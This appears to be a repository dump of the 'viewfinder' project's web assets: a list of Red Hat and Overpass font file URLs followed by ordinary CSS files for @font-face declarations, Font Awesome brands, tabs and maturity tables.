-------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Black.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Black.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Black.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Black.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-BlackItalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-BlackItalic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-BlackItalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-BlackItalic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Bold.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Bold.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-BoldItalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-BoldItalic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-BoldItalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-BoldItalic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Italic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Italic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Medium.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Medium.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-MediumItalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-MediumItalic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-MediumItalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-MediumItalic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Regular.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatDisplay/RedHatDisplay-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatDisplay/RedHatDisplay-Regular.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Bold.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Bold.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Bold.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-BoldItalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-BoldItalic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-BoldItalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-BoldItalic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Italic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Italic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Medium.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Medium.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Medium.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Medium.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-MediumItalic.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-MediumItalic.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-MediumItalic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-MediumItalic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Regular.woff -------------------------------------------------------------------------------- /css/assets/fonts/RedHatText/RedHatText-Regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/RedHatText/RedHatText-Regular.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-bold-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-bold-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-bold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-bold.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-extrabold-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-extrabold-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-extrabold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-extrabold.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-extralight-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-extralight-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-extralight.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-extralight.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-heavy-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-heavy-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-heavy.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-heavy.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-light-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-light-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-light.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-light.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-regular.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-semibold-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-semibold-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-semibold.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-semibold.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-thin-italic.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-thin-italic.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass-thin.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/boogiespook/viewfinder/c069416870fc3b2c5b4596c66ba8bbd9ce144852/css/assets/fonts/overpass-thin.woff2 -------------------------------------------------------------------------------- /css/assets/fonts/overpass.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'overpass'; 3 | src: url('overpass-thin.eot'); /* IE9 Compat Modes */ 4 | src: url('overpass-thin.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 5 | url('overpass-thin.woff2') format('woff2'), /* Super Modern Browsers */ 6 | url('overpass-thin.woff') format('woff'), /* Pretty Modern Browsers */ 7 | url('overpass-thin.ttf') format('truetype'); /* Safari, Android, iOS */ 8 | font-weight: 200; 9 | font-style: normal; 10 | } 11 | 12 | @font-face { 13 | font-family: 'overpass'; 14 | src: url('overpass-thin-italic.eot'); 15 | src: url('overpass-thin-italic.eot?#iefix') format('embedded-opentype'), 16 | url('overpass-thin-italic.woff2') format('woff2'), 17 | url('overpass-thin-italic.woff') format('woff'), 18 | url('overpass-thin-italic.ttf') format('truetype'); 19 | font-weight: 200; 20 | font-style: italic; 21 | } 22 | 23 | 24 | @font-face { 25 | font-family: 'overpass'; 26 | src: url('overpass-extralight.eot'); 27 | src: url('overpass-extralight.eot?#iefix') format('embedded-opentype'), 28 | url('overpass-extralight.woff2') format('woff2'), 29 | url('overpass-extralight.woff') format('woff'), 30 | url('overpass-extralight.ttf') format('truetype'); 31 | font-weight: 300; 32 | font-style: normal; 33 | } 34 | 35 | @font-face { 36 | font-family: 'overpass'; 37 | src: url('overpass-extralight-italic.eot'); 38 | src: url('overpass-extralight-italic.eot?#iefix') format('embedded-opentype'), 39 | url('overpass-extralight-italic.woff2') format('woff2'), 40 | url('overpass-extralight-italic.woff') format('woff'), 41 | url('overpass-extralight-italic.ttf') format('truetype'); 42 | font-weight: 300; 43 | font-style: italic; 44 | } 45 | 46 | 47 | 48 | @font-face { 49 | font-family: 'overpass'; 50 | src: url('overpass-light.eot'); 51 | src: url('overpass-light.eot?#iefix') format('embedded-opentype'), 52 | url('overpass-light.woff2') format('woff2'), 53 | url('overpass-light.woff') format('woff'), 54 | url('overpass-light.ttf') format('truetype'); 55 | font-weight: 400; 56 | font-style: normal; 57 | } 58 | 59 | @font-face { 60 | font-family: 'overpass'; 61 | src: url('overpass-light-italic.eot'); 62 | src: url('overpass-light-italic.eot?#iefix') format('embedded-opentype'), 63 | url('overpass-light-italic.woff2') format('woff2'), 64 | url('overpass-light-italic.woff') format('woff'), 65 | url('overpass-light-italic.ttf') format('truetype'); 66 | font-weight: 400; 67 | font-style: italic; 68 | } 69 | 70 | 71 | 72 | @font-face { 73 | font-family: 'overpass'; 74 | src: url('overpass-regular.eot'); 75 | src: url('overpass-regular.eot?#iefix') format('embedded-opentype'), 76 | url('overpass-regular.woff2') format('woff2'), 77 | url('overpass-regular.woff') format('woff'), 78 | url('overpass-regular.ttf') format('truetype'); 79 | font-weight: 500; 80 | font-style: normal; 81 | } 82 | 83 | @font-face { 84 | font-family: 'overpass'; 85 | src: url('overpass-italic.eot'); 86 | src: url('overpass-italic.eot?#iefix') format('embedded-opentype'), 87 | url('overpass-italic.woff2') format('woff2'), 88 | url('overpass-italic.woff') format('woff'), 89 | url('overpass-italic.ttf') format('truetype'); 90 | font-weight: 500; 91 | font-style: italic; 92 | } 93 | 94 | 95 | 96 | 97 | @font-face { 98 | font-family: 'overpass'; 99 | src: url('overpass-semibold.eot'); 100 | src: url('overpass-semibold.eot?#iefix') format('embedded-opentype'), 101 | url('overpass-semibold.woff2') format('woff2'), 102 | url('overpass-semibold.woff') format('woff'), 103 | url('overpass-semibold.ttf') format('truetype'); 104 | font-weight: 600; 105 | font-style: normal; 106 | } 107 | 108 | @font-face { 109 | font-family: 'overpass'; 110 | src: url('overpass-semibold-italic.eot'); 111 | src: url('overpass-semibold-italic.eot?#iefix') format('embedded-opentype'), 112 | url('overpass-semibold-italic.woff2') format('woff2'), 113 | url('overpass-semibold-italic.woff') format('woff'), 114 | url('overpass-semibold-italic.ttf') format('truetype'); 115 | font-weight: 600; 116 | font-style: italic; 117 | } 118 | 119 | 120 | 121 | 122 | @font-face { 123 | font-family: 'overpass'; 124 | src: url('overpass-bold.eot'); 125 | src: url('overpass-bold.eot?#iefix') format('embedded-opentype'), 126 | url('overpass-bold.woff2') format('woff2'), 127 | url('overpass-bold.woff') format('woff'), 128 | url('overpass-bold.ttf') format('truetype'); 129 | font-weight: 700; 130 | font-style: normal; 131 | } 132 | 133 | @font-face { 134 | font-family: 'overpass'; 135 | src: url('overpass-bold-italic.eot'); 136 | src: url('overpass-bold-italic.eot?#iefix') format('embedded-opentype'), 137 | url('overpass-bold-italic.woff2') format('woff2'), 138 | url('overpass-bold-italic.woff') format('woff'), 139 | url('overpass-bold-italic.ttf') format('truetype'); 140 | font-weight: 700; 141 | font-style: italic; 142 | } 143 | 144 | 145 | 146 | @font-face { 147 | font-family: 'overpass'; 148 | src: url('overpass-extrabold.eot'); 149 | src: url('overpass-extrabold.eot?#iefix') format('embedded-opentype'), 150 | url('overpass-extrabold.woff2') format('woff2'), 151 | url('overpass-extrabold.woff') format('woff'), 152 | url('overpass-extrabold.ttf') format('truetype'); 153 | font-weight: 800; 154 | font-style: normal; 155 | } 156 | 157 | @font-face { 158 | font-family: 'overpass'; 159 | src: url('overpass-extrabold-italic.eot'); 160 | src: url('overpass-extrabold-italic.eot?#iefix') format('embedded-opentype'), 161 | url('overpass-extrabold-italic.woff2') format('woff2'), 162 | url('overpass-extrabold-italic.woff') format('woff'), 163 | url('overpass-extrabold-italic.ttf') format('truetype'); 164 | font-weight: 800; 165 | font-style: italic; 166 | } 167 | 168 | 169 | @font-face { 170 | font-family: 'overpass'; 171 | src: url('overpass-heavy.eot'); 172 | src: url('overpass-heavy.eot?#iefix') format('embedded-opentype'), 173 | url('overpass-heavy.woff2') format('woff2'), 174 | url('overpass-heavy.woff') format('woff'), 175 | url('overpass-heavy.ttf') format('truetype'); 176 | font-weight: 900; 177 | font-style: normal; 178 | } 179 | 180 | @font-face { 181 | font-family: 'overpass'; 182 | src: url('overpass-heavy-italic.eot'); 183 | src: url('overpass-heavy-italic.eot?#iefix') format('embedded-opentype'), 184 | url('overpass-heavy-italic.woff2') format('woff2'), 185 | url('overpass-heavy-italic.woff') format('woff'), 186 | url('overpass-heavy-italic.ttf') format('truetype'); 187 | font-weight: 900; 188 | font-style: italic; 189 | } 190 | -------------------------------------------------------------------------------- /css/brands.css: -------------------------------------------------------------------------------- 1 | /*! 2 | * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com 3 | * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) 4 | */ 5 | @font-face { 6 | font-family: 'Font Awesome 5 Brands'; 7 | font-style: normal; 8 | font-weight: 400; 9 | font-display: block; 10 | src: url("../webfonts/fa-brands-400.eot"); 11 | src: url("../webfonts/fa-brands-400.eot?#iefix") format("embedded-opentype"), url("../webfonts/fa-brands-400.woff2") format("woff2"), url("../webfonts/fa-brands-400.woff") format("woff"), url("../webfonts/fa-brands-400.ttf") format("truetype"), url("../webfonts/fa-brands-400.svg#fontawesome") format("svg"); } 12 | 13 | .fab { 14 | font-family: 'Font Awesome 5 Brands'; 15 | font-weight: 400; } 16 | -------------------------------------------------------------------------------- /css/overpass.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'overpass'; 3 | src: url('overpass-thin.eot'); /* IE9 Compat Modes */ 4 | src: url('overpass-thin.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */ 5 | url('overpass-thin.woff2') format('woff2'), /* Super Modern Browsers */ 6 | url('overpass-thin.woff') format('woff'), /* Pretty Modern Browsers */ 7 | url('overpass-thin.ttf') format('truetype'); /* Safari, Android, iOS */ 8 | font-weight: 200; 9 | font-style: normal; 10 | } 11 | 12 | @font-face { 13 | font-family: 'overpass'; 14 | src: url('overpass-thin-italic.eot'); 15 | src: url('overpass-thin-italic.eot?#iefix') format('embedded-opentype'), 16 | url('overpass-thin-italic.woff2') format('woff2'), 17 | url('overpass-thin-italic.woff') format('woff'), 18 | url('overpass-thin-italic.ttf') format('truetype'); 19 | font-weight: 200; 20 | font-style: italic; 21 | } 22 | 23 | 24 | @font-face { 25 | font-family: 'overpass'; 26 | src: url('overpass-extralight.eot'); 27 | src: url('overpass-extralight.eot?#iefix') format('embedded-opentype'), 28 | url('overpass-extralight.woff2') format('woff2'), 29 | url('overpass-extralight.woff') format('woff'), 30 | url('overpass-extralight.ttf') format('truetype'); 31 | font-weight: 300; 32 | font-style: normal; 33 | } 34 | 35 | @font-face { 36 | font-family: 'overpass'; 37 | src: url('overpass-extralight-italic.eot'); 38 | src: url('overpass-extralight-italic.eot?#iefix') format('embedded-opentype'), 39 | url('overpass-extralight-italic.woff2') format('woff2'), 40 | url('overpass-extralight-italic.woff') format('woff'), 41 | url('overpass-extralight-italic.ttf') format('truetype'); 42 | font-weight: 300; 43 | font-style: italic; 44 | } 45 | 46 | 47 | 48 | @font-face { 49 | font-family: 'overpass'; 50 | src: url('overpass-light.eot'); 51 | src: url('overpass-light.eot?#iefix') format('embedded-opentype'), 52 | url('overpass-light.woff2') format('woff2'), 53 | url('overpass-light.woff') format('woff'), 54 | url('overpass-light.ttf') format('truetype'); 55 | font-weight: 400; 56 | font-style: normal; 57 | } 58 | 59 | @font-face { 60 | font-family: 'overpass'; 61 | src: url('overpass-light-italic.eot'); 62 | src: url('overpass-light-italic.eot?#iefix') format('embedded-opentype'), 63 | url('overpass-light-italic.woff2') format('woff2'), 64 | url('overpass-light-italic.woff') format('woff'), 65 | url('overpass-light-italic.ttf') format('truetype'); 66 | font-weight: 400; 67 | font-style: italic; 68 | } 69 | 70 | 71 | 72 | @font-face { 73 | font-family: 'overpass'; 74 | src: url('overpass-regular.eot'); 75 | src: url('overpass-regular.eot?#iefix') format('embedded-opentype'), 76 | url('overpass-regular.woff2') format('woff2'), 77 | url('overpass-regular.woff') format('woff'), 78 | url('overpass-regular.ttf') format('truetype'); 79 | font-weight: 500; 80 | font-style: normal; 81 | } 82 | 83 | @font-face { 84 | font-family: 'overpass'; 85 | src: url('overpass-italic.eot'); 86 | src: url('overpass-italic.eot?#iefix') format('embedded-opentype'), 87 | url('overpass-italic.woff2') format('woff2'), 88 | url('overpass-italic.woff') format('woff'), 89 | url('overpass-italic.ttf') format('truetype'); 90 | font-weight: 500; 91 | font-style: italic; 92 | } 93 | 94 | 95 | 96 | 97 | @font-face { 98 | font-family: 'overpass'; 99 | src: url('overpass-semibold.eot'); 100 | src: url('overpass-semibold.eot?#iefix') format('embedded-opentype'), 101 | url('overpass-semibold.woff2') format('woff2'), 102 | url('overpass-semibold.woff') format('woff'), 103 | url('overpass-semibold.ttf') format('truetype'); 104 | font-weight: 600; 105 | font-style: normal; 106 | } 107 | 108 | @font-face { 109 | font-family: 'overpass'; 110 | src: url('overpass-semibold-italic.eot'); 111 | src: url('overpass-semibold-italic.eot?#iefix') format('embedded-opentype'), 112 | url('overpass-semibold-italic.woff2') format('woff2'), 113 | url('overpass-semibold-italic.woff') format('woff'), 114 | url('overpass-semibold-italic.ttf') format('truetype'); 115 | font-weight: 600; 116 | font-style: italic; 117 | } 118 | 119 | 120 | 121 | 122 | @font-face { 123 | font-family: 'overpass'; 124 | src: url('overpass-bold.eot'); 125 | src: url('overpass-bold.eot?#iefix') format('embedded-opentype'), 126 | url('overpass-bold.woff2') format('woff2'), 127 | url('overpass-bold.woff') format('woff'), 128 | url('overpass-bold.ttf') format('truetype'); 129 | font-weight: 700; 130 | font-style: normal; 131 | } 132 | 133 | @font-face { 134 | font-family: 'overpass'; 135 | src: url('overpass-bold-italic.eot'); 136 | src: url('overpass-bold-italic.eot?#iefix') format('embedded-opentype'), 137 | url('overpass-bold-italic.woff2') format('woff2'), 138 | url('overpass-bold-italic.woff') format('woff'), 139 | url('overpass-bold-italic.ttf') format('truetype'); 140 | font-weight: 700; 141 | font-style: italic; 142 | } 143 | 144 | 145 | 146 | @font-face { 147 | font-family: 'overpass'; 148 | src: url('overpass-extrabold.eot'); 149 | src: url('overpass-extrabold.eot?#iefix') format('embedded-opentype'), 150 | url('overpass-extrabold.woff2') format('woff2'), 151 | url('overpass-extrabold.woff') format('woff'), 152 | url('overpass-extrabold.ttf') format('truetype'); 153 | font-weight: 800; 154 | font-style: normal; 155 | } 156 | 157 | @font-face { 158 | font-family: 'overpass'; 159 | src: url('overpass-extrabold-italic.eot'); 160 | src: url('overpass-extrabold-italic.eot?#iefix') format('embedded-opentype'), 161 | url('overpass-extrabold-italic.woff2') format('woff2'), 162 | url('overpass-extrabold-italic.woff') format('woff'), 163 | url('overpass-extrabold-italic.ttf') format('truetype'); 164 | font-weight: 800; 165 | font-style: italic; 166 | } 167 | 168 | 169 | @font-face { 170 | font-family: 'overpass'; 171 | src: url('overpass-heavy.eot'); 172 | src: url('overpass-heavy.eot?#iefix') format('embedded-opentype'), 173 | url('overpass-heavy.woff2') format('woff2'), 174 | url('overpass-heavy.woff') format('woff'), 175 | url('overpass-heavy.ttf') format('truetype'); 176 | font-weight: 900; 177 | font-style: normal; 178 | } 179 | 180 | @font-face { 181 | font-family: 'overpass'; 182 | src: url('overpass-heavy-italic.eot'); 183 | src: url('overpass-heavy-italic.eot?#iefix') format('embedded-opentype'), 184 | url('overpass-heavy-italic.woff2') format('woff2'), 185 | url('overpass-heavy-italic.woff') format('woff'), 186 | url('overpass-heavy-italic.ttf') format('truetype'); 187 | font-weight: 900; 188 | font-style: italic; 189 | } 190 | -------------------------------------------------------------------------------- /css/tab.css: -------------------------------------------------------------------------------- 1 | /* Style the tab */ 2 | .tab { 3 | overflow: hidden; 4 | border: 1px solid #ccc; 5 | background-color: #f1f1f1; 6 | border-radius: 5px; 7 | width: 90%; 8 | margin: auto; 9 | } 10 | 11 | /* Style the buttons that are used to open the tab content */ 12 | .tab button { 13 | background-color: inherit; 14 | float: left; 15 | border: none; 16 | outline: none; 17 | cursor: pointer; 18 | padding: 14px 16px; 19 | transition: 0.3s; 20 | color: black; 21 | } 22 | 23 | /* Change background color of buttons on hover */ 24 | .tab button:hover { 25 | background-color: #ddd; 26 | } 27 | 28 | /* Create an active/current tablink class */ 29 | .tab button.active { 30 | background-color: #0d60f8; 31 | color: #ffffff; 32 | } 33 | 34 | /* Style the tab content */ 35 | .tabcontent { 36 | animation: fadeEffect 1s; /* Fading effect takes 1 second */ 37 | display: none; 38 | padding: 6px 12px; 39 | border: 1px solid #ccc; 40 | border-top: none; 41 | background-color: #f1f1f1; 42 | border-radius: 5px; 43 | width: 90%; 44 | margin: auto; 45 | } 46 | 47 | /* Go from zero to full opacity */ 48 | @keyframes fadeEffect { 49 | from {opacity: 0;} 50 | to {opacity: 1;} 51 | } 52 | -------------------------------------------------------------------------------- /css/table.css: -------------------------------------------------------------------------------- 1 | .completed { 2 | background-color: greenyellow; 3 | } 4 | 5 | .notcompleted { 6 | background-color:beige; 7 | } 8 | 9 | 10 | .bigtableLeft { 11 | position: absolute; 12 | top: 30%; 13 | left: 50%; 14 | } 15 | 16 | .bigtableRight { 17 | position: absolute; 18 | top: 20%; 19 | left: 68%; 20 | padding-right: 10px; 21 | } 22 | 23 | .headers { 24 | font-size: 24px; 25 | font-weight: bold; 26 | padding-bottom: 10px; 27 | } 28 | table { 29 | border-collapse: collapse; 30 | overflow: hidden; 31 | border-radius: 5px; 32 | } 33 | 34 | .tableMaturity { 35 | border-collapse: collapse; 36 | overflow: hidden; 37 | border-radius: 5px; 38 | padding: 25px; 39 | } 40 | 41 | 42 | th, 43 | td { 44 | background-color: rgba(255,255,255,0.2); 45 | 46 | } 47 | 48 | th { 49 | text-align: left; 50 | color: #fff; 51 | } 52 | 53 | thead { 54 | th { 55 | padding-left: 10px; 56 | color:darkslategrey; 57 | } 58 | } 59 | 60 | tbody { 61 | 62 | td { 63 | position: relative; 64 | padding-left: 10px; 65 | font-weight: bold; 66 | font-size: large; 67 | } 68 | } 69 | 70 | .spacedTable { 71 | border-collapse:separate; 72 | border-spacing:0 10px; 73 | } -------------------------------------------------------------------------------- /css/table2.css: -------------------------------------------------------------------------------- 1 | .completed { 2 | background-color: greenyellow; 3 | border-top: 2px solid red; 4 | border-right: 2px solid red; 5 | border-left: 2px solid red; 6 | border-bottom: 2px solid red; 7 | font-size: medium; 8 | padding: 20px; 9 | text-align: center; 10 | } 11 | 12 | .notcompleted { 13 | background-color:beige; 14 | font-size: medium; 15 | padding: 20px; 16 | text-align: center; 17 | } 18 | 19 | .foundation { 20 | background-color: aliceblue; 21 | border-right: 5px solid red; 22 | font-size: small; 23 | } 24 | 25 | .strategic { 26 | background-color: cornsilk; 27 | border-right: 5px solid red; 28 | font-size: small; 29 | } 30 | 31 | .advanced { 32 | background-color: aquamarine; 33 | border-right: 5px solid red; 34 | font-size: small; 35 | } 36 | 37 | 38 | table { 39 | border-collapse: collapse; 40 | overflow: hidden; 41 | box-shadow: 0 0 20px rgba(0,0,0,0.1); 42 | } 43 | 44 | th, 45 | td { 46 | background-color: rgba(255,255,255,0.2); 47 | } 48 | 49 | th { 50 | text-align: left; 51 | color: #fff; 52 | } 53 | 54 | .table-header { 55 | background-color: #55608f; 56 | color: #fff; 57 | } 58 | 59 | -------------------------------------------------------------------------------- /images/main-page.png: -------------------------------------------------------------------------------- 